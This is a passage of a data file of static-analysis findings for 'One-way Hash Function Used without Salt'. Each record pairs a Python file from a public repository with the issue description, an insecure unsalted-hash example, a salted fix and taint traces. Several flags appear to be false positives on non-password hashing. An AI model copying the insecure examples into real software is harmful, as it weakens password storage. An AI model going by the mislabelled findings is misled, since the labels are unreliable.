"hashlib.sha256"}}]}} {"id": "f5f92fd19f0c3f11eaab467ecaa5bc8bfee0e37b73e350f2e0f77ef39cacc7c8", "license": {"spdx": ["MIT"], "repo": "donvvo/questr-master", "path": "quests/models.py", "repo_head_hexsha": "6363ffb4c11ef61f3b6976e75c86a5cbc7f38590", "stack_hexsha": "ea4b8a09282f55e57d81cc0d165e7b33f0d9e90a", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 56, "entireCode": "\n\n#All Django Imports\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils import timezone\n\n#All local imports (libs, contribs, models)\nfrom users.models import *\n\n#All external imports (libs, packages)\nimport hashlib\nimport jsonfield\nimport logging\nimport pytz\nimport uuid\n\n# Init Logger\nlogger = logging.getLogger(__name__)\n\nPACKAGE_SELECTION = (\n ('car', 'Car'),\n ('van', 'Van'),\n ('minivan', 'Minivan'),\n)\n\nSTATUS_SELECTION = (\n ('new', 'New'),\n ('accepted', 'Accepted'),\n ('completed', 'Completed')\n)\nCITY_SELECTION = (\n ('Toronto', 'Toronto'),\n ('Brampton', 'Brampton'),\n ('Markham', 'Markham'),\n ('Mississauga', 'Mississauga'),\n ('', ''),\n ('Vaughan', 'Vaughan'),\n ('Oakville', 'Oakville')\n)\n\n\ndef validate_pickuptime(pickup_time):\n if (\n pickup_time - timezone.now().astimezone(\n pytz.timezone(settings.TIME_ZONE))\n ).total_seconds() < 0:\n raise ValidationError('Pickup time cannot be before current time!')\n\n\nclass Quests(models.Model):\n\n # Calculating delivery code before hand and inserting\n # it as default so that it won't be tampered with.\n hashstring = hashlib.sha256(\n str(timezone.now()) + str(timezone.now()) + str(uuid.uuid4())\n ).hexdigest()\n calc_delivery_code = hashstring[:3]+hashstring[-2:]\n calc_tracking_number = hashstring[10:15]+hashstring[-15:-10]\n current_time = timezone.now\n\n questrs = models.ForeignKey(QuestrUserProfile, related_name='quests')\n description = models.TextField(_('description'), blank=True)\n title = models.CharField(\n _('title'),\n max_length=100,\n blank=False\n )\n reward = models.DecimalField(\n _('reward'),\n decimal_places=2,\n max_digits=1000)\n item_images = models.ImageField(\n _('item_images'),\n max_length=9999,\n upload_to='quest-item-cdn',\n blank=True\n )\n map_image = models.URLField(\n _('map_image'),\n max_length=9999,\n default=''\n )\n status = models.TextField(\n _('status'),\n choices=STATUS_SELECTION,\n default='New'\n )\n creation_date = models.DateTimeField(\n _('creation_date'),\n default=current_time\n )\n size = models.TextField(\n _('size'),\n choices=PACKAGE_SELECTION,\n default=\"backpack\"\n )\n shipper = models.TextField(\n _('shipper'),\n blank=True,\n null=True\n )\n pickup = jsonfield.JSONField(_('pickup'), default={})\n dropoff = jsonfield.JSONField(_('dropoff'), default={})\n isaccepted = models.BooleanField(_('isaccepted'), default=False)\n isnotified = models.BooleanField(_('isnotified'), default=False)\n is_questr_reviewed = models.BooleanField(\n _('is_questr_reviewed'),\n default=False\n )\n is_shipper_reviewed = models.BooleanField(\n _('is_shipper_reviewed'),\n default=False\n )\n is_complete = models.BooleanField(_('is_complete'), default=False)\n ishidden = models.BooleanField(_('ishidden'), default=False)\n distance = models.DecimalField(\n _('distance'),\n decimal_places=2,\n max_digits=1000,\n default=0\n )\n delivery_date = models.DateTimeField(\n _('delivery_date'),\n blank=True,\n null=True\n )\n available_couriers = jsonfield.JSONField(\n _('available_couriers'),\n default={}\n )\n delivery_code = models.TextField(_('delivery_code'), blank=True)\n tracking_number = models.TextField(_('tracking_number'), blank=True)\n pickup_time = models.DateTimeField(\n _('pickup_time'),\n blank=True,\n validators=[validate_pickuptime]\n )\n considered_couriers = models.TextField(_('considered_couriers'), default=[])\n\n def __unicode__(self):\n return str(self.id)\n\n def get_delivery_code(self):\n hashstring = hashlib.sha256(\n str(timezone.now()) + str(timezone.now()) + str(uuid.uuid4())\n ).hexdigest()\n return hashstring[:3]+hashstring[-2:]\n\n def get_tracking_number(self):\n hashstring = hashlib.sha256(\n str(timezone.now()) + str(timezone.now()) + str(uuid.uuid4())\n ).hexdigest()\n return hashstring[10:15]+hashstring[-15:-10]\n\n #Overriding\n def save(self, *args, **kwargs):\n if not self.delivery_code:\n self.delivery_code = self.get_delivery_code()\n\n if not self.tracking_number:\n self.tracking_number = self.get_tracking_number()\n\n if not self.pickup_time:\n logging.warn(\"no pickup time\")\n self.pickup_time = self.creation_date\n\n super(Quests, self).save(*args, **kwargs)\n # self.create_item_images_normal()\n\n\nclass QuestComments(models.Model):\n quest = models.ForeignKey(Quests)\n questr = models.ForeignKey(QuestrUserProfile)\n time = models.DateTimeField(_('time'))\n comment = models.TextField(_('comment'))\n\n def __unicode__(self):\n return self.id\n\n\nclass QuestTransactional(models.Model):\n quest_code = models.CharField(_('quest_code'), max_length=64, unique=True)\n quest = models.ForeignKey(Quests)\n shipper = models.ForeignKey(QuestrUserProfile)\n transaction_type = models.IntegerField(_('transaction_type'), default=1)\n status = models.BooleanField(_('status'), default=False)\n\n def generate_hash(self):\n return hashlib.sha256(\n str(timezone.now()) + str(self.shipper.email)\n ).hexdigest()\n\n def get_truncated_quest_code(self):\n return self.quest_code[:7]\n\n def get_token_id(self):\n return self.quest_code[-6:]\n\n REQUIRED_FIELDS = [\n 'quest_code', 'id', 'quest', 'shipper', 'transaction_type']\n\n def __unicode__(self):\n return \"{0}:{1} {2}\".format(self.quest_code, self.quest, self.shipper)\n\n #Overriding\n def save(self, *args, **kwargs):\n #check if the row with this hash already exists.\n if not self.quest_code:\n self.quest_code = self.generate_hash()\n # self.my_stuff = 'something I want to save in that field'\n super(QuestTransactional, self).save(*args, **kwargs)\n\n\nclass QuestToken(models.Model):\n token_id = models.CharField(_('id'), max_length=20, primary_key=True)\n timeframe = models.DateTimeField(_('create_date'), default=timezone.now)\n\n def is_alive(self):\n timedelta = timezone.now() - self.timeframe\n hours = 2\n allowable_time = float(hours * 60 * 60)\n return timedelta.total_seconds() < allowable_time\n\n def __unicode__(self):\n return \"Token verifying ...\"\n\n # Overriding\n def save(self, *args, **kwargs):\n if not self.timeframe:\n self.timeframe = timezone.now()\n super(QuestToken, self).save(*args, **kwargs)\n\n\nclass QuestEvents(models.Model):\n \"\"\"Models for QuestEvents\"\"\"\n current_time = timezone.now\n\n quest = models.ForeignKey(Quests)\n event = models.IntegerField(_('event'), max_length=2, default=1)\n updated_on = models.DateTimeField(\n _('updated_on'),\n default=current_time\n )\n extrainfo = jsonfield.JSONField(\n _('extrainfo'),\n default='{}',\n max_length=9999\n )\n\n def save(self, *args, **kwargs):\n if not self.updated_on:\n self.updated_on = current_time\n super(QuestEvents, self).save(*args, **kwargs)\n\n# class QuestPricing(models.Model):\n# \"\"\"Pricing model for quests\"\"\"\n# current_time = timezone.now\n\n# pricing = jsonfield.JSONField(_('pricing'), default={})\n# questrs = models.ForeignKey(QuestrUserProfile, unique=True)\n# updated_on = models.DateTimeField(\n# _('updated_on'),\n# default=current_time\n# )\n\n# def save(self, *args, **kwargs):\n# if not self.updated_on:\n# self.updated_on = current_time\n# super(QuestPricing, self).save(*args, **kwargs)", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 56, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "hashlib.sha256"}}, {"lineNo": 57, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "timezone"}}, {"lineNo": 57, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "now"}}, {"lineNo": 57, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}]}} {"id": "8d4d97891b554ee97e488a5b629ff04240e3a17bb29c85400d86872ed8d32440", "license": {"spdx": ["BSD-2-Clause-FreeBSD"], "repo": "hdknr/djpress", "path": "lib/djpress/signals.py", "repo_head_hexsha": "9f482d87f2e1f40938dac313bf4c7c3c61ed812f", "stack_hexsha": "e5fedb01c5baa02cf5a582a485d0df0a73fc49b6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 79, "entireCode": "''' signals and handlers\n'''\n\nfrom django.conf import settings\nfrom django.db.models.signals import post_save, post_delete\nfrom django.db import transaction\nfrom django.dispatch import receiver\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.signals import user_logged_in\n\nimport uuid\nimport hashlib\n\nfrom wordpress import WpUsers\nimport phpserialize\n\n\n@receiver(post_save, sender=User)\ndef user_saved(sender=None, instance=None, **kwargs):\n if instance:\n user_level = 10 if instance.is_superuser else 1\n wpuser = WpUsers.objects.filter(\n user_login=instance.username).first()\n\n display_name = u\"{} {}\".format(\n instance.last_name or '',\n instance.first_name or '',)\n if display_name == u' ':\n display_name = instance.username\n\n def setmeta():\n wpuser = WpUsers.objects.filter(\n user_login=instance.username).first()\n if not wpuser:\n return\n\n wpuser.set_meta('wp_user_level', user_level)\n wpuser.set_meta('first_name', instance.first_name)\n wpuser.set_meta('last_name', instance.last_name)\n wpuser.set_meta('nickname', display_name)\n\n if user_level == 10:\n cap = {\n 'contributer': True,\n 'administrator': True, }\n wpuser.set_meta(\n 'wp_capabilities',\n phpserialize.dumps(cap))\n\n with transaction.atomic():\n transaction.on_commit(setmeta)\n if not wpuser:\n wpuser = WpUsers.objects.create(\n user_login=instance.username,\n user_nicename=instance.username,\n user_status=not instance.is_active and 1 or 0,\n user_pass=uuid.uuid1().hex,\n user_registered=instance.date_joined,\n user_email=instance.email,\n display_name=display_name,\n )\n else:\n wpuser.user_status = not instance.is_active and 1 or 0\n wpuser.user_email = instance.email\n wpuser.display_name = display_name\n wpuser.save()\n\n\n@receiver(post_delete, sender=User)\ndef user_deleted(sender=None, instance=None, **kwargs):\n if instance:\n WpUsers.objects.filter(user_login=instance.username).delete()\n\n\ndef set_wp_user(request, id):\n key = getattr(settings, 'DJPRESS_KEY', settings.SECRET_KEY)\n if key:\n session_key = request.session.session_key\n digest = hashlib.sha256(\"{0}{1}{2}\".format(\n session_key, id, key)).hexdigest()\n else:\n digest = ''\n request.session['wp_user'] = \"{0}:{1}\".format(id, digest)\n\n\n@receiver(user_logged_in)\ndef user_loggedin(sender=None, request=None, user=None, **kwargs):\n wp_user = user and WpUsers.objects.filter(user_login=user.username).first()\n if wp_user:\n set_wp_user(request, wp_user.id)", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 76, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "getattr"}}, {"lineNo": 76, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "settingssettings.SECRET_KEY"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "77"}}, {"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.session"}}, {"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.session.session_key"}}, {"lineNo": 79, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 79, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "hashlib.sha256"}}, {"lineNo": 80, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "key"}}]}} {"id": "b0225033b72aec151c8f49c060d471dbccd487f3130fed1ac7bf6ed7be81a450", "license": {"spdx": ["MIT"], "repo": "matuhn/FPT-Capstone", "path": "test/ecc_test.py", "repo_head_hexsha": "d67217b77ce723136bafd436e664a6d9fa4fb00b", "stack_hexsha": "20f96840a781770d3aa601815de80af3367e18b9", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 9, "entireCode": "from Crypto.Cipher import AES\nfrom Crypto.PublicKey import ECC\nfrom Crypto.Math.Numbers import Integer\n\nimport os\nimport hashlib\n\ndef ecc_point_to_256_bit_key(point):\n sha = hashlib.sha256(point.x.to_bytes())\n sha.update(point.y.to_bytes())\n return sha.digest()\n\ndef ecc_encrypt(plain_text, ecc_public_key):\n ecc_shared_key = ECC.generate(curve='P-256')\n aes_key = ecc_point_to_256_bit_key(ecc_public_key.pointQ * ecc_shared_key.d)\n cipher = AES.new(aes_key, AES.MODE_GCM)\n nonce = cipher.nonce\n cipher_text = cipher.encrypt(plain_text)\n return cipher_text, ecc_shared_key.public_key().export_key(format='PEM'), nonce\n\ndef ecc_decrypt(cipher_text, ecc_private_key, shared_key, nonce):\n ecc_shared_key = ECC.import_key(shared_key)\n aes_key = ecc_point_to_256_bit_key(ecc_private_key.d * ecc_shared_key.pointQ)\n cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n plain_text = cipher.decrypt(cipher_text)\n return plain_text\n\necc_private_key = ECC.generate(curve='P-256')\necc_public_key = ecc_private_key.public_key()\n\ndata = b'kho6ngcogi'\ncipher_text, shared, nonce = ecc_encrypt(data, ecc_public_key)\nplain_text = ecc_decrypt(cipher_text, ecc_private_key, shared, nonce)\n\nprint(data == plain_text)\n\npassphrase = ''\n\nf = open('private.pem', 'wt')\nf.write(ecc_private_key.export_key(format='PEM', protection='PBKDF2WithHMAC-SHA1AndAES128-CBC', passphrase=passphrase))\nf.close()\n\nf = open('public.pem', 'wt')\nf.write(ecc_public_key.export_key(format='PEM'))\nf.close()", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 9, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "point"}}, {"lineNo": 9, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "pointpoint.x"}}, {"lineNo": 9, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "to_bytes"}}, {"lineNo": 9, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "hashlib.sha256"}}]}} {"id": "769451aa04a107cd5db171e29242a1d0a52818c12f1c11a88e51f0c132763b2d", "license": {"spdx": ["MIT"], "repo": "ictrobot/discord-bot", "path": "src/bot/modules/spam.py", "repo_head_hexsha": "335f9fb3da6cbddfe324d87f17360e87c0afc03e", "stack_hexsha": "267f691aebc9b425c197a61b9f8af7d4fc084992", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 54, "entireCode": "import datetime\nfrom io import BytesIO\nimport hashlib\n\nimport imagehash\nfrom PIL import Image\nfrom peewee import *\n\nfrom bot.module import *\n\n\nclass AttachmentHash(Model):\n message_id = IntegerField()\n hash = TextField()\n datetime = TimestampField()\n\n class Meta:\n database = Proxy()\n\n\nclass SpamWarning(Model):\n user_id = IntegerField()\n channel_id = IntegerField()\n datetime = TimestampField()\n\n class Meta:\n primary_key = CompositeKey('user_id', 'channel_id')\n database = Proxy()\n\n\nclass SpamModule(Module):\n\n def __init__(self, instance):\n super().__init__(instance, \"spam\", db_models=[AttachmentHash, SpamWarning])\n\n async def ratelimit(self, message):\n if message.author == self.bot.user or (message.channel.permissions_for(message.author).administrator and \"!hash\" not in message.content):\n return\n appearances = 0\n warning_present = False\n warning_msg = \"Please don't spam {}\".format(message.author.mention)\n check_start = datetime.datetime.now() - datetime.timedelta(days=1)\n if message.attachments:\n attachments = []\n for attachment in message.attachments:\n f = BytesIO()\n await attachment.save(f)\n\n if attachment.width:\n img = Image.open(f)\n attachment_hash = imagehash.dhash(img)\n hash_type = \"Image Hash\"\n else:\n m = hashlib.sha256()\n m.update(f.getbuffer())\n attachment_hash = m.hexdigest()\n hash_type = \"SHA256\"\n\n attachments.append(attachment_hash)\n AttachmentHash(message_id=message.id, datetime=message.created_at, hash=attachment_hash).save(force_insert=True)\n print(attachment.url, attachment_hash)\n f.close()\n\n if \"!hash\" in message.content:\n await message.channel.send(\"{} of {}\\n{}\".format(hash_type, attachment.url, attachment_hash))\n if message.channel.permissions_for(message.author).administrator:\n return\n\n filter = AttachmentHash.hash == attachments[0]\n for img_hash in attachments[1:]:\n filter |= img_hash\n\n discord_ids = []\n for entry in AttachmentHash.select().where(filter):\n if entry.datetime > check_start:\n discord_ids.append(entry.message_id)\n\n async for previous_message in message.channel.history(limit=50):\n if previous_message.author == message.author and previous_message.id in discord_ids:\n appearances += 1\n if previous_message.content == warning_msg:\n warning_present = True\n else:\n async for previous_message in message.channel.history(limit=25):\n if previous_message.created_at < check_start:\n break\n if previous_message.author == message.author and previous_message.content == message.content:\n appearances += 1\n if previous_message.content == warning_msg:\n warning_present = True\n\n if appearances >= 4:\n await safe_delete(message)\n if not warning_present:\n spam_warning, just_created = SpamWarning.get_or_create(user_id=message.author.id, channel_id=message.channel.id, defaults={\"datetime\": message.created_at})\n if just_created:\n await message.channel.send(warning_msg)\n elif spam_warning.datetime + datetime.timedelta(hours=2) < message.created_at:\n spam_warning.datetime = message.created_at\n spam_warning.save()\n await message.channel.send(warning_msg)\n return True\n\n @add_event_handler(1100)\n async def on_message(self, message):\n if await self.ratelimit(message):\n return True", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 53, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "53"}}, {"lineNo": 54, "eventType": "sink", "messageKey": "pythonchk.EMPTY_SALT.PYTHON.defect", "params": {}}]}} {"id": "a8543425b1778de5d888da0f0e77c1e07379da154beca540b84c71bbd360cc19", "license": {"spdx": ["0BSD"], "repo": "startrekdude/ssc", "path": "test.py", "repo_head_hexsha": "7fb08be6902f9e7143eb3f5a547a352bcb88fb8f", "stack_hexsha": "b9115ecda467829e8bc25dcceb241ea30a620e7d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 10, "entireCode": "from __future__ import division\n\nfrom hashlib import sha256\nfrom os import listdir, mkdir\nfrom os.path import basename, getsize, join, splitext\nfrom subprocess import call, check_output\nfrom sys import argv as args, exit\n\ndef _hash(o):\n\treturn sha256(o.encode(\"ascii\")).hexdigest()\n\ndef avg(a):\n\treturn sum(a)/len(a)\n\t\ndef test_all(program):\n\tscores = []\n\ti = 1\n\tfor song in listdir(\"songs\"):\n\t\tsong = join(\"songs\", song)\n\t\tname = splitext(basename(song))[0]\n\t\toutput = \"_gen\\\\%s.py\" % name\n\t\t\n\t\tprint( \"Case %s: %s\" % (i, name) )\n\t\tprint( \"[!] %s %s %s\" % (program, song, output) )\n\t\tcall([\"python\", program, song, output])\n\t\tresult = check_output([\"python\", output]).decode(\"ascii\").replace(\"\\r\\n\", \"\\n\")[:-1] # print adds an extra newline\n\t\twith open(song) as f:\n\t\t\texpect = f.read()\n\t\tresult, expect = _hash(result), _hash(expect)\n\t\tprint( \"%s -> %s\" % (expect, result) )\n\t\tif result != expect:\n\t\t\tprint( \"FAILURE!\" )\n\t\t\tbreak\n\t\tscore = (getsize(output) / getsize(song)) * 100\n\t\tprint( \"Score: %s\\n\" % score )\n\t\tscores.append(score)\n\t\t\n\t\ti += 1\n\t\n\tprint( \"Final Score: %s\" % avg(scores) )\n\ndef main():\n\tif len(args) < 2:\n\t\tprint( \"Usage: test \" )\n\t\texit(-1)\n\tprogram = args[1]\n\ttest_all(program)\n\nif __name__ == \"__main__\":\n\tmain()", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 10, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "o"}}, {"lineNo": 10, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "encode"}}, {"lineNo": 10, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "sha256"}}]}} {"id": "55bc514d10b77b172ae22852ced16a91b203dad17ffbcd3963999f1e02903b6a", "license": {"spdx": ["MIT"], "repo": "tdeck/civid_web", "path": "civid/tokens.py", "repo_head_hexsha": "1fe52c4c78de5d5631231ba5152b7363379bb3c3", "stack_hexsha": "5d5ab4b0864b694a622a4d86544c789f7d10c607", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 66, "entireCode": "from itsdangerous import TimestampSigner\nfrom time import time\nimport base64\nimport hashlib\nimport string\n\nLOGIN_WINDOW_S = 60\nCODE_WINDOW_S = 30\nSHORT_SIG_LENGTH = 18\nMIN_USERNAME_LENGTH = 3\n\nUSERNAME_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'\nSHUFFLED_CHARS = 'NGthMiXu2xmnfzVROkEjvaUPYg1AqyZcbL7C_6WIJQoDeT85SHrKB40l3F9sdpw'\nscrambler = string.maketrans(USERNAME_CHARS, SHUFFLED_CHARS)\nunscrambler = string.maketrans(SHUFFLED_CHARS, USERNAME_CHARS)\n\nclass InvalidTokenError(Exception): pass\nclass InvalidCodeError(Exception): pass\n\ndef now_str():\n return '@' + str(int(time()) / LOGIN_WINDOW_S)\n\ndef last_period_str():\n return '@' + str(int(time()) / LOGIN_WINDOW_S - 1)\n\ndef scramble_username(username):\n \"\"\"\n Encodes the username with a simple substitution cipher.\n\n >>> scramble_username('lgp30')\n 'nXRlB'\n \"\"\"\n return string.translate(str(username), scrambler)\n\ndef unscramble_username(ciphertext):\n \"\"\"\n Returns the plaintext for a username scrambled with scramble_username.\n\n >>> unscramble_username('nXRlB')\n 'lgp30'\n \"\"\"\n return string.translate(ciphertext, unscrambler)\n\nclass Tokenizer(object):\n \"\"\"\n A class for creating cryptographically signed tokens used by CivID.\n\n >>> tokenizer = Tokenizer('123')\n >>> lt = tokenizer.create_login_token('gatzy')\n >>> tokenizer.validate_login_token(lt)\n 'gatzy'\n >>> ic = tokenizer.create_identity_code('ttk2')\n >>> tokenizer.validate_identity_code(ic)\n 'ttk2'\n \"\"\"\n def __init__(self, signing_key):\n self.key = signing_key\n self.signer = TimestampSigner(signing_key)\n\n def short_sig(self, string):\n \"\"\"\n Returns a token computed from truncating the hash of the given\n string with the signing key.\n \"\"\"\n return base64.urlsafe_b64encode(\n hashlib.sha256(self.key + string).digest()\n )[:SHORT_SIG_LENGTH]\n\n def create_login_token(self, username):\n \"\"\"\n Creates a login token of the form \"signatureUsername\".\n This token is bound to a UNIX timestamp divided by LOGIN_WINDOW_S,\n but it is not stored within the token in order to limit its length.\n \"\"\"\n return self.short_sig(username + now_str()) + username\n\n def validate_login_token(self, token):\n if len(token) < SHORT_SIG_LENGTH + MIN_USERNAME_LENGTH:\n raise InvalidTokenError(\"Malformed token\")\n\n signature = token[0:SHORT_SIG_LENGTH]\n user = token[SHORT_SIG_LENGTH:]\n \n if (\n signature != self.short_sig(user + now_str()) and \n signature != self.short_sig(user + last_period_str())\n ):\n raise InvalidTokenError(\"Login link invalid or expired\")\n\n return user\n\n def create_identity_code(self, username):\n # Identity codes contain this silly \"scrambled\" version of the username\n # to discourage naive implementations from parsing it out of the code\n # without making a request to validate it against the CivID server.\n return self.signer.sign(scramble_username(username))\n\n def validate_identity_code(self, code):\n try:\n return unscramble_username(self.signer.unsign(code, max_age=CODE_WINDOW_S))\n except:\n raise InvalidCodeError()", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 66, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "self"}}, {"lineNo": 66, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "selfself.key"}}, {"lineNo": 66, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "hashlib.sha256"}}]}} {"id": "3d776821b1d7dffc437b711a1e84290ae8e648ca30eb390ae9ae0215a8bd303c", "license": {"spdx": ["Apache-2.0"], "repo": "jimregan/notes", "path": "_drafts/corpuscrawler-irish.py", "repo_head_hexsha": "24e374d326b4e96b7d31d08a808f9f19fe473e76", "stack_hexsha": "d2d00e3e0d26bae95435e215452b22bd227acbff", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information 